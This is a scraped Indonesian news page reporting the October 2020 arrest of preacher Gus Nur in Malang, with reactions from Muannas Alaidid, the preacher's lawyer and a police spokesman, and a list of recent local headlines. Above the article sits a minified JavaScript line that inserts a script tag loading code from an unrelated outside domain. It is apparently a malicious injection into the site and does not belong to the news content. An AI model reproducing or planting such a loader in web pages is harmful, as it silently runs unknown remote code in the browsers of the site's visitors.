(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Hukum

Gus Nur Ditangkap, Muannas: Agar Mulutnya Tidak Lagi Semburkan Kebencian


KANALKALIMANTAN.COM – Ketua Umum Cyber Indonesia Muannas Alaidid mengapresiasi Markas Besar Polri yang sudah menangkap pendakwah Sugi Nur Rahardja atau dipanggil Gus Nur di Malang, Jawa Timur, Sabtu (24/10/2020), sekitar pukul 00.00 WIB.

“Apresiasi dan penghargaan yang tinggi bagi jajaran Polri atas penangkapan SN berkaitan dengan penghinaan dan tuduhan terhadap NU,” kata Muannas Alaidid melalui video yang diunggah ke media sosial.

Muannas yang juga advokat DPP LBH Partai Solidaritas Indonesia mengatakan tidak tahu pasti sudah berapa banyak laporan mengenai Gus Nur kepada polisi. Sepengetahuan Muannas, laporan sudah dibuat, antara lain di Banten, Jember, dan Jakarta.

Muannas berharap penangkapan terhadap Gus Nur dapat menjadi efek jera terhadap kalangan yang disebutnya berupaya memecah belah peradamain.

Muannas mengatakan peradaban Indonesia akan hancur bila media sosial dibangun dengan cara seperti menghina, mencaci maki, dan adu domba lembaga negara, TNI, Polri dan sesama anak bangsa.

“SN sudah pantas ditangkap agar mulutnya tidak lagi menyembur kebencian di tengah kita,” kata Muannas. Dia juga memposting salah satu ceramah Gus Nur ke timeline Twitter.

Pengacara Gus Nur, Andry Ermawan, saat dikonfirmasi Suara.com mengonfirmasi penangkapan tersebut. Namun, Andry belum bisa menjelaskan secara detail.

“Iya benar. Ada tim dari Bareskrim membawa surat penangkapan. Ditangkap di rumahnya tadi malam,” kata Endy.

Ditanya apakah Gus Nur ditangkap dalam kasus dugaan penghinaan terhadap NU yang viral di Youtube, Andy memastikan bukan.

“Bukan mas. Ini kasus beda. Untuk itu saya bersama tim akan segera menindaklanjuti penangkapan dengan memastikan surat-surat penangkapan juga dalam kasus apa,” kata dia.

Saat ini, kata Andy, tim penasehat hukum masih membahas langkah-langkah yang akan diambil untuk menangani kasus Gus Nur.

“Hari ini akan kita rapatkan dengan tim untuk membahas penanganan kasus yang menimpa Gus Nur. Namun di Mabes sudah ada penasehat hukum dari kita yang sudah mendampingi,” kata dia.

Sementara menurut Kepala Biro Penerangan Masyarakat Mabes Polri Brigadir Jenderal Awi Setiyono, Gus Nur ditangkap berdasarkan Surat Perintah Penangkapan Nomor SP.Kap/171/X/2020/Dittipidsiber.  Dalam surat penangkapan disebutkan, Gus Nur disinyalir menyebarkan informasi untuk menimbulkan kebencian atau permusuhan individu atau SARA terhadap kelompok tertentu.

Gus Nur diduga melanggar Pasal 45A ayat (2) Juncto Pasal 28 Ayat (2)  dan atau Pasal 45 ayat (3) Juncto 27 ayat (3) UU Nomor 19 Tahun 2016 tentang perubahan UU Nomor 11 Tahun 2008 tentang ITE dan atau Pasal 156 KUHP dan atau Pasal 310 dan atau 311 KUHP dan atau 207 KUHP. (suara.com)

Reporter : suara.com
Editor : kk

Al Ghifari

Recent Posts

Ini Aturan Warung Makan Selama Ramadan di Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More

7 jam ago

‎Berbagi Semangat Mengaji dengan Dansatgas TMMD di TPA Al Ikhlas

‎KANALKALIMANTAN.COM, AMUNTAI – Senyum tawa anak-anak Desa Hambuku Hulu mewarnai halaman rumah warga yang sementara… Read More

12 jam ago

Hendak Tawuran, 16 Remaja Bawa Sajam Diamankan

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengamankan belasan remaja dan sejumlah senjata tajam… Read More

12 jam ago

“Bakawaan Season 1” Perkuat Kolaborasi Ekosistem Ekraf Balangan

KANALKALIMANTAN.COM, PARINGIN - Gerakan Ekonomi Kreatif Nasional (Gekrafs) Kabupaten Balangan menghadirkan Balangan Kreatif Wadah Anak… Read More

1 hari ago

Banjarmasin Masih ‘Darurat Sampah’, Dorong Pengolahan Sampah Organik Mandiri

KANALKALIMANTAN.COM, BANJARMASIN - Wali Kota Banjarmasin, H Muhammad Yamin HR mendorong masyarakat bisa mengolah sampah… Read More

1 hari ago

Stadion Internasional di Landasan Ulin Barat, Lahan 28,7 Hektare Disiapkan

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) mengumumkan penetapan lokasi pembebasan lahan untuk pembangunan… Read More

1 hari ago

This website uses cookies.